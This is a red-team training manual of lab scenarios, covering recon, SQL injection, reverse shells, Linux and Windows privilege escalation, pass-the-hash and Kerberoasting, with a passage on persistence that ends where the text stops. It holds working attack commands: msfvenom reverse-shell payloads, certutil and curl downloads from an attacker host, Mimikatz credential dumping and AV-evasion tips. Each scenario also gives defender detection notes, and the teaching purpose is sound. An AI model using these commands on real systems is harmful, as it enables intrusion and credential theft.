

[CONTROLLED LAB ENVIRONMENT ONLY]

Oscar's Red Team Practical Scenarios Manual

One Scenario Per Domain — Full Red Team Lifecycle

All scenarios in this manual are designed exclusively for use within controlled lab environments (HTB, THM, local VMs).
No technique described herein should be applied to systems you do not own or have explicit written permission to test.
Unauthorized access is illegal.

Table of Contents

INTRODUCTION

How to Use This Manual

CORE PHASES

- 01 · Reconnaissance & OSINT
- 02 · Attack Surface Mapping
- 03 · Web Exploitation
- 04 · Initial Access
- 05 · Post-Exploitation Basics

SYSTEM-LEVEL

- 06 · Privilege Escalation — Linux
- 07 · Privilege Escalation — Windows

NETWORK & ENTERPRISE

- 08 · Lateral Movement
- 09 · Internal Network Enumeration

ACTIVE DIRECTORY

- 10 · AD Enumeration
- 11 · AD Attack Concept (Kerberoasting)

PERSISTENCE & EVASION

- 12 · Persistence Techniques
- 13 · Defense Evasion — Awareness

DATA HANDLING

- 14 · Data Discovery
- 15 · Data Exfiltration — Conceptual

MODERN ENVIRONMENTS

- 16 · Cloud Security Basics (AWS)
- 17 · Containers — Docker / Kubernetes

APPENDIX

- 18 · Quick Reference Command Sheet

Introduction

Purpose

This manual provides one focused, practical scenario for every major red team domain. Rather than overwhelming you with dozens of commands, each scenario teaches you how to **think like a professional operator** — understanding the why behind every action, recognizing decision points, and building transferable methodology.

How to Use This Manual

Work through each scenario sequentially the first time. Red teaming is a lifecycle, not a collection of isolated tricks. Each phase feeds into the next. Once you understand the flow, revisit individual scenarios to practice specific skills in lab environments like Hack The Box, TryHackMe, or your own Kali VM with vulnerable machines.

Lab Safety

Every command in this manual is designed for **controlled lab environments only**. Before running anything: verify you are on an isolated VM network, confirm the target is a machine you own or have explicit authorization to test, and never run aggressive scans on production networks or public IP space.

Reading the Scenario Blocks

Each scenario follows a consistent structure: Environment, Objective, Step-by-Step Thought Process, Minimal Commands, Decision Points, Common Mistakes, Detection Insight, and Skill Gained. The **Decision Points** section is especially important — professionals constantly evaluate results and adapt. Memorizing commands is useless without this judgment layer.

PRO TIP: Throughout this manual you will see Detection Insight boxes. These are not obstacles to avoid — they are learning opportunities. Understanding what defenders see makes you a better operator and prepares you for blue team certifications as well.

DOMAIN: CORE PHASES — Reconnaissance & OSINT

Scenario 01

Passive Footprinting: Building a Target Profile Without Touching the Network

Environment	TryHackMe: 'Passive Reconnaissance' room Any HTB Starting Point box Kali Linux
Objective	Map the external attack surface of a target organization using only publicly available information. No packets sent to the target.

STEP-BY-STEP THOUGHT PROCESS

Step 1. Define your scope. Write down the exact domain (e.g. target.com) and what you are allowed to enumerate. Passive recon stays off the target network.

Step 2. DNS & WHOIS: Query registration data to identify registrant info, nameservers, and hosting provider. This reveals infrastructure relationships.

Step 3. Subdomain enumeration with Amass or theHarvester. Subdomains expose dev/staging environments that are often less hardened than production.

Step 4. Search engine dorking (Google, Shodan). Use operators to find exposed login portals, configuration files, and indexed sensitive data.

Step 5. Email harvesting. Identify employee email formats — these become usernames for password spraying and phishing later in the engagement.

Step 6. Compile findings into a structured target profile: IP ranges, technologies, key personnel, exposed services. This document drives all later phases.

MINIMAL COMMANDS

```
# WHOIS lookup
whois target.com

# DNS enumeration
nslookup -type=MX target.com
dig ANY target.com +noall +answer

# Passive subdomain discovery
amass enum -passive -d target.com
theHarvester -d target.com -b google,bing,linkedin

# Shodan (requires free API key)
shodan search 'hostname:target.com'

# Google Dorks
# site:target.com filetype:pdf
# site:target.com inurl:admin
```

```
# site:target.com intitle:index.of
```

DECISION POINTS

- No subdomains found with Amass? Try crt.sh (certificate transparency logs): `curl -s 'https://crt.sh/?q=%target.com&output=json' | jq '.[].name_value'`
- theHarvester returns few emails? Add more sources (-b all) and cross-reference with LinkedIn OSINT manually.
- Shodan shows nothing? The org may use a CDN (Cloudflare). Check historical DNS records via SecurityTrails or dnshistory.io.

COMMON MISTAKES

- Passive recon is NOT zero-risk: DNS queries to third-party resolvers, Shodan API calls, and crt.sh lookups all leave request logs. True zero-footprint recon is hard.
- Failing to document findings. Recon is only useful if organized. Use a spreadsheet or a tool like Obsidian to log every finding with its source.
- Scope creep: following links to out-of-scope assets. Stick to your defined domain.

DETECTION INSIGHT: Passive recon leaves no direct logs on the target, but DNS queries appear in resolver logs. Defenders monitoring for certificate transparency log submissions on their domain can detect when researchers pull their subdomains from crt.sh. SOC teams may also flag bulk WHOIS queries originating from the same IP.

SKILL GAINED: You can build a complete external profile of an organization without sending a single packet to their infrastructure — the foundational skill of any professional engagement.

DOMAIN: CORE PHASES — Attack Surface Mapping

Scenario 02

Network Service Discovery and Version Fingerprinting

Environment	HTB Starting Point machines (e.g. 'Meow', 'Fawn', 'Dancing') Local: nmap against a Metasploitable2 VM on an isolated host-only network
Objective	Identify all open ports, running services, and software versions on a target host to build an actionable list of potential entry points.

STEP-BY-STEP THOUGHT PROCESS

Step 1. Start with a fast full-port sweep. Default nmap (-sV) only scans the top 1000 ports — you will miss non-standard services. Run -p- first.

Step 2. Follow up with -sC -sV on discovered open ports only. Service version fingerprinting narrows your exploit search.

Step 3. Organize results by service category: web, database, remote access, file sharing. Each category carries its own attack playbook.

Step 4. For each service version, query it against CVE databases or searchsploit to find known vulnerabilities. Prioritize unauthenticated or pre-auth exploits.

Step 5. Note banner information carefully. Banners often reveal OS version, software version, and sometimes misconfigurations (anonymous FTP, default SSH banners).

MINIMAL COMMANDS

```
# Fast full port scan (all 65535)
nmap -p- --min-rate 5000 -T4 TARGET_IP -oA full_scan

# Targeted version + script scan on open ports
nmap -p 21,22,80,443 -sC -sV -oA targeted_scan TARGET_IP

# UDP scan for common services (DNS, SNMP, TFTP)
nmap -sU --top-ports 20 TARGET_IP

# Check for anonymous FTP
ftp TARGET_IP

# Enter: anonymous / anonymous

# Search for exploits by service name/version
searchsploit vsftpd 2.3.4
```

DECISION POINTS

- Scan blocked by firewall? Try -Pn (skip host discovery) and -sA (ACK scan) to map firewall rules before probing further.

- Services not responding to banners? Connect manually with netcat: `nc TARGET_IP PORT` — and wait 5 seconds for a banner.
- If all ports appear filtered, try a decoy scan: `nmap -D RND:10 TARGET_IP` (lab use only — noisy technique).

COMMON MISTAKES

- Running `-p-` with `--min-rate 5000` is extremely loud. IDS/IPS systems will alert immediately. In real engagements, throttle to `--min-rate 500` or lower.
- Only scanning top ports: always run full port (`-p-`) as a separate step, even if it takes longer. Non-standard ports are intentional obfuscation by admins.
- Ignoring UDP: SNMP on 161/UDP often leaks full network topology information.

DETECTION INSIGHT: Nmap scans generate massive volumes of SYN packets visible on any network monitor. Modern EDR/IDS tools (Snort, Suricata) have signatures for nmap scan patterns. Defenders will see source IP, scan timing, and targeted port ranges in firewall logs. Service version banners also log inbound connections in their respective service logs.

SKILL GAINED: You can systematically enumerate every listening service on a host and cross-reference findings against known vulnerability databases — the skill that drives every subsequent exploitation phase.

DOMAIN: CORE PHASES — Web Exploitation

Scenario 03

SQL Injection: Extracting Database Credentials from a Login Form

Environment	HTB: 'Included' or 'Vaccine' DVWA (Damn Vulnerable Web Application) on local Kali VM TryHackMe: 'SQL Injection' room
Objective	Exploit a SQL injection vulnerability in a login form to extract database user credentials and escalate access to the application.

STEP-BY-STEP THOUGHT PROCESS

Step 1. Manual verification first. Before running automated tools, confirm injection exists by inserting a single quote (') in the username field. An SQL error confirms unsanitized input.

Step 2. Determine injection type: error-based, blind boolean, or time-based. The response behavior tells you which technique to use.

Step 3. Enumerate databases and tables manually to understand the structure before dumping everything. Precision reduces noise.

Step 4. Use sqlmap only after manual confirmation. Tools are loud — understand what they are doing by reading their output carefully.

Step 5. Extract credentials from the users/accounts table. Hash formats indicate the hashing algorithm — run through hashcat or identify via hash-identifier.

MINIMAL COMMANDS

```
# Manual test – confirm injection
# Enter in username field: ' OR ' OR '1'='1

# sqlmap – enumerate databases
sqlmap -u 'http://TARGET/login' --data='user=a&pass;=b' --dbs

# Enumerate tables in target DB
sqlmap -u 'http://TARGET/login' --data='user=a&pass;=b' -D targetdb --tables

# Dump the users table
sqlmap -u 'http://TARGET/login' --data='user=a&pass;=b' -D targetdb -T users --dump

# Identify hash format
hash-identifier

# Crack hash offline
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
```

DECISION POINTS

- sqlmap fails? The form may use cookies. Capture the request in Burp Suite, save it as req.txt, and use:
sqlmap -r req.txt --dbs
- WAF detected? Try: sqlmap --tamper=space2comment,between to bypass basic filters.
- Blind injection with no visible output? Use --technique=T for time-based blind and increase --time-sec if network latency is high.

COMMON MISTAKES

- Running sqlmap immediately without manual testing first — this generates hundreds of requests that trigger WAF blocks and get your IP banned from the lab.
- Not reading sqlmap output: the tool explains every injection point it finds. Understanding this output is essential for writing reports.
- Stopping after login bypass: the real objective is credential extraction and pivoting to other systems using those credentials.

DETECTION INSIGHT: SQLi attempts generate hundreds of malformed HTTP requests visible in web server logs (Apache access.log, nginx). WAFs alert on payloads containing UNION, SELECT, and comment sequences. SIEM rules correlate rapid sequential 4xx/5xx errors from a single source IP. sqlmap's User-Agent is also a known WAF signature.

SKILL GAINED: You can identify and exploit SQL injection vulnerabilities, extract credentials from database tables, and identify hash formats for offline cracking — a core web app penetration testing skill aligned with OWASP A03:2021.

DOMAIN: CORE PHASES — Initial Access

Scenario 04

Exploiting a Vulnerable Service to Obtain a Reverse Shell

Environment	HTB: 'Lame' (vsftpd 2.3.4 backdoor) Metasploitable2 local VM TryHackMe: 'Blue' room (EternalBlue)
Objective	Exploit a known CVE in a network service to establish a remote shell session on the target system.

STEP-BY-STEP THOUGHT PROCESS

Step 1. From the scan results (Scenario 02), identify a service with a known, reliable exploit. Prioritize pre-auth exploits that don't require credentials.

Step 2. Verify the exact version number before selecting an exploit. Running the wrong exploit can crash a service — in real engagements this causes incidents.

Step 3. Set up your listener before triggering the exploit. The connection happens fast.

Step 4. Once the shell lands: identify user context immediately (id, whoami), check network interfaces (ip a), and note the OS version. This drives next steps.

Step 5. Stabilize your shell. Raw netcat shells break easily. Upgrade to a PTY.

MINIMAL COMMANDS

```
# Start listener on Kali
nc -lvnp 4444

# Option A: Metasploit (vsftpd 2.3.4 backdoor)
msfconsole -q
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS TARGET_IP
run

# Option B: Manual reverse shell payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f elf -o r.elf

# Upload and execute on target via another vector

# Stabilize shell (once connected)
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

# Ctrl+Z, then: stty raw -echo; fg
```

DECISION POINTS

- Shell not connecting back? Check your LHOST — in VPN-based labs (HTB/THM) use the tun0 interface IP, not your LAN IP: ip a show tun0

- Exploit runs but no shell? The service may be patched. Re-verify the exact version string from your nmap -sV output and check searchsploit for alternative modules.
- Shell dies immediately? The process is running as a non-interactive user. Try: `bash -i` or switch to a Meterpreter payload for better stability.

COMMON MISTAKES

- Using Metasploit for every exploit: MSF is loud and well-detected. Practice manual exploitation with standalone Python/C PoC scripts so you understand the mechanics and can operate without a framework.
- Forgetting to check your tun0 IP in VPN labs — this is the most common reason reverse shells fail in HTB/THM environments.
- Not stabilizing the shell — raw nc shells will break on Ctrl+C, causing you to lose access and have to restart.

DETECTION INSIGHT: Exploit attempts generate anomalous TCP connections logged by the service. Meterpreter traffic has known network signatures (port 4444 is flagged by most firewalls). EDR tools detect process injection patterns. Reverse shells spawning from web service processes (www-data creating /bin/bash) trigger behavioral alerts in modern EDR.

SKILL GAINED: You can exploit a known CVE to obtain an interactive shell session, stabilize that shell for reliable operation, and immediately orient yourself within the target system — the gateway skill to all post-exploitation work.

DOMAIN: CORE PHASES — Post-Exploitation Basics

Scenario 05

Situational Awareness After Initial Compromise

Environment	Any box from HTB Starting Point TryHackMe: 'Post-Exploitation Basics' room Local Metasploitable2
Objective	After landing a shell, systematically enumerate the compromised host to understand your position, available resources, and next-step options before taking any action.

STEP-BY-STEP THOUGHT PROCESS

Step 1. Establish identity: who are you? What are your permissions? This determines everything that follows.

Step 2. Understand the system: OS, kernel version, architecture. Kernel version directly informs local privilege escalation options.

Step 3. Network awareness: what interfaces exist? What other hosts are reachable from here? You may be inside a segmented network.

Step 4. Running processes and services: identify what's running, especially as root. Misconfigured services are a primary PrivEsc vector.

Step 5. Sensitive file hunting: SSH keys, config files with credentials, database connection strings. These enable lateral movement.

Step 6. Document everything before acting. Post-ex enumeration informs your entire next phase. Act with purpose, not randomly.

MINIMAL COMMANDS

```
# Identity & privileges
id && whoami && sudo -l

# System info
uname -a && cat /etc/os-release
hostname && cat /etc/passwd | grep -v nologin

# Network interfaces and routing
ip a && ip route
cat /etc/hosts

# Running processes
ps aux | grep root
netstat -tulnp 2>/dev/null || ss -tulnp

# Scheduled tasks
cat /etc/crontab && ls /etc/cron.*

# Sensitive file search
```

```
find / -name '*.conf' 2>/dev/null | xargs grep -l 'password' 2>/dev/null  
find / -name 'id_rsa' 2>/dev/null
```

DECISION POINTS

- No sudo access? Focus on file permissions, SUID binaries, and cron jobs next.
- Limited commands available? Check: which python3, which perl, which curl — these enable further operations even in restricted shells.
- No network tools? Use /proc/net/tcp to read open connections in hex: cat /proc/net/tcp

COMMON MISTAKES

- Running privilege escalation tools immediately without manual enumeration first. Automated tools like linpeas are loud and may trigger EDR. Manual enumeration first teaches you to understand the environment.
- Not noting the network configuration: if the host has two interfaces, you may be on an internal network invisible to your initial recon.
- Running as root without checking: always confirm your identity before any action.

DETECTION INSIGHT: Every command you run creates artifacts: bash history (.bash_history), auth.log entries, syslog entries for sudo calls, and file access timestamps (atime). Defenders performing forensic analysis will reconstruct your session. Running automated tools like linpeas creates hundreds of file access events in a short time window — a statistical anomaly visible in EDR behavioral analysis.

SKILL GAINED: You can rapidly orient yourself after landing on a host, gathering identity, system, network, process, and credential information in a structured way — the systematic approach that separates professional operators from script runners.

DOMAIN: SYSTEM-LEVEL — Privilege Escalation (Linux)

Scenario 06

SUID Binary Abuse: Escalating from Low-Privilege User to Root

Environment	HTB: 'Shocker', 'Beep', or 'Nibbles' TryHackMe: 'Linux PrivEsc' room Local: Set up a low-priv user and a custom SUID binary on Kali VM
Objective	Identify a SUID binary that can be abused to execute commands as root and use it to obtain a root shell.

STEP-BY-STEP THOUGHT PROCESS

Step 1. From your post-exploitation enumeration (Scenario 05), you should already have `sudo -l` output and a list of SUID binaries. Revisit these with intent.

Step 2. Cross-reference each SUID binary against GTFOBins (gtfobins.github.io). This site documents known ways to abuse binaries for privilege escalation.

Step 3. Check sudo rules carefully: 'NOPASSWD' entries are an immediate escalation path without needing to touch SUID binaries at all.

Step 4. For SUID binaries: the key question is — does this binary execute another program or shell command? If so, you can hijack that execution path.

Step 5. Execute the GTFOBins payload, verify root access, and retrieve the root flag. In a real engagement, you would now establish persistence (Scenario 12).

MINIMAL COMMANDS

```
# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Check sudo permissions
sudo -l

# Example: SUID find binary (from GTFOBins)
find . -exec /bin/sh -p \; -quit

# Example: SUID vim
vim -c '!/bin/sh'

# Example: SUID nmap (older versions)
nmap --interactive
!sh

# Verify root
id
```

DECISION POINTS

- SUID binary not on GTFOBins? Examine what the binary does: run it normally and observe. If it calls a helper binary (e.g. 'ping' calling 'id'), you can hijack that with PATH manipulation.
- sudo -l shows 'may not run sudo'? Focus on writable cron jobs, world-writable service scripts, or kernel exploits (check kernel version first).
- Kernel exploit needed? Use linux-exploit-suggester: run the script and assess suggested CVEs against the kernel version from `uname -a`.

COMMON MISTAKES

- Trying kernel exploits first — these are noisy, can crash the system, and are the last resort. Always exhaust sudo/SUID/cron paths first.
- Not using GTFOBins — many students try to write custom exploits when a one-liner from GTFOBins would work immediately.
- Missing sudo -l entries because sudo is not in PATH — use `/usr/bin/sudo -l`.

DETECTION INSIGHT: Execution of SUID binaries is logged in some configurations via auditd. The audit daemon monitors `execve()` syscalls and will log privilege changes. Running unusual SUID binaries (e.g. 'find' executing `/bin/sh`) is a high-confidence behavioral indicator. `/var/log/auth.log` logs sudo attempts. Root shell spawns may trigger EDR process monitoring alerts.

SKILL GAINED: You can identify and abuse SUID binaries and misconfigured sudo rules to escalate privileges to root on Linux systems — a fundamental skill for every Linux-based CTF challenge and real-world penetration test.

DOMAIN: SYSTEM-LEVEL — Privilege Escalation (Windows)

Scenario 07

Unquoted Service Path: Escalating via Misconfigured Windows Service

Environment	HTB: 'Devel', 'Steel Mountain', or 'Alfred' TryHackMe: 'Windows PrivEsc' room Local: Windows 10 VM with a manually created misconfigured service
Objective	Exploit an unquoted service path in a Windows service to plant a malicious executable and execute it as SYSTEM when the service restarts.

STEP-BY-STEP THOUGHT PROCESS

Step 1. Enumerate services with unquoted paths containing spaces. Windows resolves these paths ambiguously, trying each space-delimited component as an executable first.

Step 2. Identify which of those paths you have write permission to. Only exploitable if you can write to one of the intermediate directories.

Step 3. Generate a malicious payload named to match what Windows will try to execute before the real binary (e.g. C:\Program.exe for C:\Program Files\service.exe).

Step 4. Place the payload, restart the service (or wait for reboot), and catch the shell.

MINIMAL COMMANDS

```
# Find unquoted service paths (cmd)
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "\"

# Check write permissions on target path
icacls "C:\Program Files\Vulnerable Service\"

# Generate payload (on Kali)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f exe -o Service.exe

# Transfer payload to writable path on target
# (Use certutil, curl, or SMB share)
certutil -urlcache -f http://YOUR_IP/Service.exe C:\Service.exe

# Restart service
sc stop VulnerableService && sc start VulnerableService

# Catch shell on Kali
nc -lvnp 4444
```

DECISION POINTS

- No writable directories in the unquoted path? Look for weak service binary permissions (icacls on the .exe itself) or AlwaysInstallElevated registry keys.

- Cannot restart the service? Check if you can schedule the payload and wait for a reboot, or exploit the service permissions to change its binary path directly.
- Payload blocked by AV? Encode with msfvenom shikata_ga_nai encoder or use a custom compiled C reverse shell. In labs, Windows Defender is usually disabled.

COMMON MISTAKES

- Not checking write permissions before planting a payload — the most common reason this attack fails in practice.
- Using 32-bit payloads on 64-bit targets — always match architecture: windows/x64/shell_reverse_tcp for x64 systems.
- Not verifying the path resolution order — draw out the path ambiguity on paper before placing the file to confirm your filename is correct.

DETECTION INSIGHT: Service restarts that spawn unexpected child processes (cmd.exe, powershell.exe) from svchost are high-confidence EDR alerts. Windows Event ID 7045 logs new service installations. Event ID 4688 logs process creation with parent-child relationships. Modern EDR products (CrowdStrike, Defender for Endpoint) detect reverse shell process trees from service processes in real time.

SKILL GAINED: You understand how Windows service path resolution works and can exploit it to execute arbitrary code as SYSTEM — a critical Windows privilege escalation technique tested in OSCP and real red team engagements.

DOMAIN: NETWORK & ENTERPRISE — Lateral Movement

Scenario 08

Pass-the-Hash: Moving to Another Host with Harvested NTLM Credentials

Environment	HTB: 'Resolute' or 'Forest' TryHackMe: 'Lateral Movement and Pivoting' room Local: Two Windows VMs on host-only network with Impacket installed on Kali
Objective	Use a harvested NTLM hash to authenticate to another host on the network without knowing the plaintext password.

STEP-BY-STEP THOUGHT PROCESS

Step 1. After escalating on the initial host (Scenario 07), harvest NTLM hashes from the SAM database or LSASS memory. Mimikatz is the standard tool.

Step 2. Identify other hosts on the network (Scenario 09 will formalize this) and determine which ones the compromised account has access to.

Step 3. Pass-the-Hash works because NTLM authentication uses the hash directly — the protocol never transmits the plaintext password. The hash IS the credential.

Step 4. Use CrackMapExec to validate which hosts accept the hash, then use Impacket's psexec or smbexec to open an interactive session.

MINIMAL COMMANDS

```
# Harvest hashes (requires SYSTEM on Windows target)
# Option A: Mimikatz (on Windows target)
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

# Option B: Dump SAM via Impacket (from Kali)
impacket-secretsdump DOMAIN/Administrator:pass@TARGET_IP

# Validate hash across network with CrackMapExec
crackmapexec smb 10.10.10.0/24 -u Administrator -H NTLM_HASH

# Open session via Pass-the-Hash
impacket-psexec -hashes :NTLM_HASH Administrator@TARGET2_IP

# Winrm pass-the-hash (if WinRM enabled)
evil-winrm -i TARGET2_IP -u Administrator -H NTLM_HASH
```

DECISION POINTS

- SMB blocked? Try WinRM (port 5985) with evil-winrm -H, or RDP if enabled: xfreerdp /v:TARGET /u:Administrator /pth:HASH

- Hash not working on other hosts? Local administrator accounts may have UAC remote restrictions enabled (LocalAccountTokenFilterPolicy). Try domain admin hashes or accounts that are explicitly in the local admin group.
- CrackMapExec shows (Pwn3d!) but psexec fails? Use smbexec instead: `impacket-smbexec -hashes :HASH Admin@IP`

COMMON MISTAKES

- Trying to crack every hash before moving — Pass-the-Hash is faster and doesn't require knowing the plaintext. Save cracking for offline analysis.
- Not checking if the account is a domain admin vs local admin — domain admin hashes work across the entire domain.
- Running Mimikatz on disk without obfuscation in a real lab with AV — use in-memory execution: `Invoke-Mimikatz` or load via Cobalt Strike beacon.

DETECTION INSIGHT: Pass-the-Hash generates Windows Event ID 4624 (Logon Type 3 — Network) and 4648 (Explicit credential use). CrackMapExec spraying creates hundreds of failed logon events (4625) across multiple hosts in seconds — a clear SIEM alert. PsExec creates a service (Event ID 7045) and drops PSEXESVC.exe to the target, a well-known IOC flagged by virtually every EDR product.

SKILL GAINED: You can leverage harvested NTLM hashes to authenticate to other hosts without cracking them, effectively spreading your foothold across an internal Windows network — the core of lateral movement in Active Directory environments.

DOMAIN: NETWORK & ENTERPRISE — Internal Network Enumeration

Scenario 09

Mapping the Internal Network from a Compromised Host

Environment	Any HTB/THM machine with a secondary network interface Local: Three VMs on an isolated host-only network (Kali attacker, two targets with different subnets)
Objective	After compromising an initial host, discover other subnets and live hosts on the internal network that were not visible from the external attack surface.

STEP-BY-STEP THOUGHT PROCESS

Step 1. The compromised host is now your pivot point. Its network interfaces may reveal subnets you could not see during external recon.

Step 2. Use lightweight, native tools when possible. Uploading heavy scanning tools creates more detection opportunities.

Step 3. Ping sweep to find live hosts, then targeted port scans on discovered hosts. Scan from inside the network — trust zones are different here.

Step 4. Check the ARP table and routing table before scanning — they may already reveal hosts that have communicated with your pivot recently.

Step 5. Document all findings on a network map. Internal discovery is the foundation for every subsequent lateral movement step.

MINIMAL COMMANDS

```
# Check interfaces and routes on pivot host
ip a && ip route
cat /etc/hosts

# ARP table – hosts that have recently communicated
arp -a

# Ping sweep (bash one-liner for /24)
for i in $(seq 1 254); do ping -c1 -W1 192.168.1.$i &>/dev/null && echo '192.168.1.'$i' is up'; done

# Port scan with nmap through pivot (if nmap available on pivot)
nmap -sn 192.168.1.0/24

# If no nmap – use /dev/tcp bash trick
# bash -c 'echo >/dev/tcp/192.168.1.10/22' && echo 'Port 22 open'

# Port forwarding (expose internal port to Kali)
ssh -L 8080:INTERNAL_HOST:80 user@PIVOT_IP
```

DECISION POINTS

- No ping responses? Some hosts block ICMP. Try a TCP sweep on common ports instead: for p in 22 80 443 445; scan and check response.
- Need to scan the internal network from Kali directly? Set up a SOCKS proxy: `ssh -D 1080 user@PIVOT_IP` then use `proxchains nmap`.
- Restricted shell (no bash loops)? Upload a static nmap binary: `curl http://YOUR_IP/nmap -o /tmp/nmap && chmod +x /tmp/nmap`

COMMON MISTAKES

- Scanning the entire internal /16 range aggressively — this generates enormous traffic and triggers SIEM anomaly detection. Scan methodically.
- Forgetting to check the ARP table first — it is free, instant intelligence with no network noise.
- Not configuring proxchains before trying to reach internal hosts from Kali — traffic won't route through the pivot without explicit forwarding.

DETECTION INSIGHT: Internal ping sweeps create ICMP traffic anomalies visible on network monitoring systems. ARP requests for sequential IPs are a classic network scan signature. SSH local port forwards and SOCKS proxies create persistent tunnels that appear as long-lived SSH sessions — anomalous if the account doesn't normally tunnel.

SKILL GAINED: You can discover hidden internal network segments from a compromised pivot host using native OS tools, map live hosts, and set up port forwards to reach internal services — the skill that transforms a single foothold into full network access.

DOMAIN: ACTIVE DIRECTORY — AD Enumeration

Scenario 10

Mapping the Domain: Users, Groups, and Attack Paths with BloodHound

Environment	HTB: 'Forest', 'Active', or 'Sauna' TryHackMe: 'Attacktive Directory' room Local: Windows Server 2019 with AD DS, joined workstation, Kali attacker
Objective	Enumerate an Active Directory domain to identify users, privileged groups, service accounts, and attack paths from a low-privilege domain account.

STEP-BY-STEP THOUGHT PROCESS

Step 1. With any valid domain credential (even a standard user), you can query vast amounts of AD data. AD is designed for transparency to all authenticated users.

Step 2. Use BloodHound to collect and visualize the domain. Its graph-based attack path analysis is the industry standard for AD engagement planning.

Step 3. Identify high-value targets: Domain Admins, members of privileged groups, service accounts with SPNs (Kerberoastable), and users with DCSync rights.

Step 4. Look for shortest path to Domain Admin from your current user. BloodHound's 'Shortest Path to Domain Admins' query does this automatically.

Step 5. Correlate findings with Scenario 11 — Kerberoastable service accounts discovered here are the primary target for the next attack.

MINIMAL COMMANDS

```
# Install BloodHound on Kali
sudo apt install bloodhound neo4j -y

# Collect AD data (run from Kali with domain creds)
bloodhound-python -u lowpriv_user -p Password123 -d domain.local -ns DC_IP -c All

# Start BloodHound
sudo neo4j start
bloodhound &

# Upload the generated JSON files via drag-and-drop

# Alternative: LDAP enumeration
ldapsearch -x -H ldap://DC_IP -b 'DC=domain,DC=local' -D 'user@domain.local' -w pass

# PowerView (on Windows, from low-priv session)
Get-ADUser -Filter * -Properties MemberOf | Select Name,MemberOf
Get-ADGroupMember 'Domain Admins'
```

DECISION POINTS

- BloodHound not showing all data? Try running with `-c All` explicitly and check that the domain controller IP is reachable and DNS resolves `domain.local`.
- Credentials not working? Verify the domain name format: try `DOMAIN\user` and `user@domain.local`. Kerberos requires correct DNS — set `/etc/resolv.conf` to `DC_IP`.
- No creds at all? Try LDAP null bind: `ldapsearch -x -H ldap://DC_IP -b " -s base`. Older DCs may allow anonymous enumeration.

COMMON MISTAKES

- Not using BloodHound — manual LDAP queries alone miss attack path relationships that BloodHound's graph analysis surfaces instantly.
- Ignoring ACL-based attack paths: BloodHound shows edges like 'WriteDACL', 'GenericAll', 'ForceChangePassword' that represent powerful non-obvious privesc paths.
- Overlooking AS-REP Roastable accounts: users with 'Do not require Kerberos preauthentication' set — enumerable without credentials.

DETECTION INSIGHT: LDAP queries are logged in Windows Security Event ID 4662. BloodHound's collection generates hundreds of LDAP queries in seconds — clearly anomalous in a standard user session. The SharpHound collector (Windows) creates a new process and generates Event ID 4688. Modern MDR solutions like Microsoft Defender for Identity (formerly ATP) have specific detections for BloodHound collection patterns.

SKILL GAINED: You can enumerate an Active Directory domain from a low-privilege account, identify privileged users and groups, and discover attack paths to Domain Admin using BloodHound — the foundational skill for all AD-focused red team engagements.

DOMAIN: ACTIVE DIRECTORY — AD Attack Concept

Scenario 11

Kerberoasting: Extracting and Cracking Service Account Hashes

Environment	HTB: 'Active' (classic Kerberoasting box) TryHackMe: 'Attacktive Directory' Local: Windows Server with AD, a service account with SPN set
Objective	Request Kerberos service tickets for accounts with registered SPNs, extract the encrypted ticket portion, and crack it offline to recover the service account password.

STEP-BY-STEP THOUGHT PROCESS

Step 1. Kerberoasting is a design behavior, not a bug. Any authenticated domain user can request a TGS ticket for any SPN. The ticket is encrypted with the service account's password hash — crackable offline with no lockout risk.

Step 2. Use BloodHound data (Scenario 10) to identify Kerberoastable accounts. Look for high-privilege service accounts — MSSQL, Exchange, backup services.

Step 3. Request the tickets using Impacket's GetUserSPNs. The output is a hash in format directly consumable by hashcat (-m 13100).

Step 4. Crack offline. Service accounts often have weak or static passwords. A strong wordlist + rules against hashcat will recover many in minutes.

Step 5. With a cracked service account password, re-evaluate your BloodHound attack path. Service accounts often have significant domain privileges.

MINIMAL COMMANDS

```
# List Kerberoastable accounts
impacket-GetUserSPNs domain.local/user:pass -dc-ip DC_IP

# Request tickets and export hashes
impacket-GetUserSPNs domain.local/user:pass -dc-ip DC_IP -request -outputfile hashes.txt

# Crack with hashcat
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

# Crack with rules for better coverage
hashcat -m 13100 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Verify cracked password
crackmapexec smb DC_IP -u svc_account -p CrackedPassword
```

DECISION POINTS

- rockyou.txt doesn't crack it? Try larger wordlists: SecLists has 'probable-v2' and '10-million-password-list'. Add custom rules for corporate password patterns (Company2024!, Company123).
- Hash format not 13100? Ensure you used -request flag — without it GetUserSPNs only lists SPNs without extracting the ticket.
- No SPNs found? The domain may not have classic service accounts. Check for AS-REP Roastable accounts instead: `impacket-GetNPUsers domain.local/ -no-pass`

COMMON MISTAKES

- Kerberoasting online in a loop with fast requests — this generates anomalous Kerberos TGS-REQ volume visible to Defender for Identity. Request tickets one at a time with deliberate spacing in real engagements.
- Ignoring AES-encrypted tickets: if the hash starts with \$krb5tgs\$18\$ it uses AES256 — much harder to crack. Prioritize RC4 hashes (\$krb5tgs\$23\$).
- Not re-running BloodHound after gaining the service account — the new account's position in the attack graph may reveal a direct path to Domain Admin.

DETECTION INSIGHT: Windows Security Event ID 4769 logs every Kerberos TGS request. Requesting TGS tickets for multiple SPNs in rapid succession is a Kerberoasting detection signature in Microsoft Defender for Identity. The 'Encryption Type Requested' field in 4769 differentiates RC4 (0x17) from AES — attackers requesting RC4 specifically on a domain configured for AES is a high-fidelity alert.

SKILL GAINED: You understand Kerberos ticket mechanics, can extract service account hashes without triggering account lockouts, and crack them offline — a high-impact AD attack that is foundational for OSCP, CRT0, and professional red team engagements.

DOMAIN: PERSISTENCE & EVASION — Persistence Techniques

Scenario 12

Establishing a Backdoor via SSH Authorized Keys and Cron Job

Environment	Local Kali VM with an Ubuntu target VM on host-only network TryHackMe: 'Linux Persistence' room
Objective	Establish two independent persistence mechanisms on a compromised Linux host so that access survives reboots and manual key rotation.

STEP-BY-STEP THOUGHT PROCESS

Step 1. Persistence is the ability to regain access after losing your initial foothold. Always establish at least two independent methods — one will likely be found.

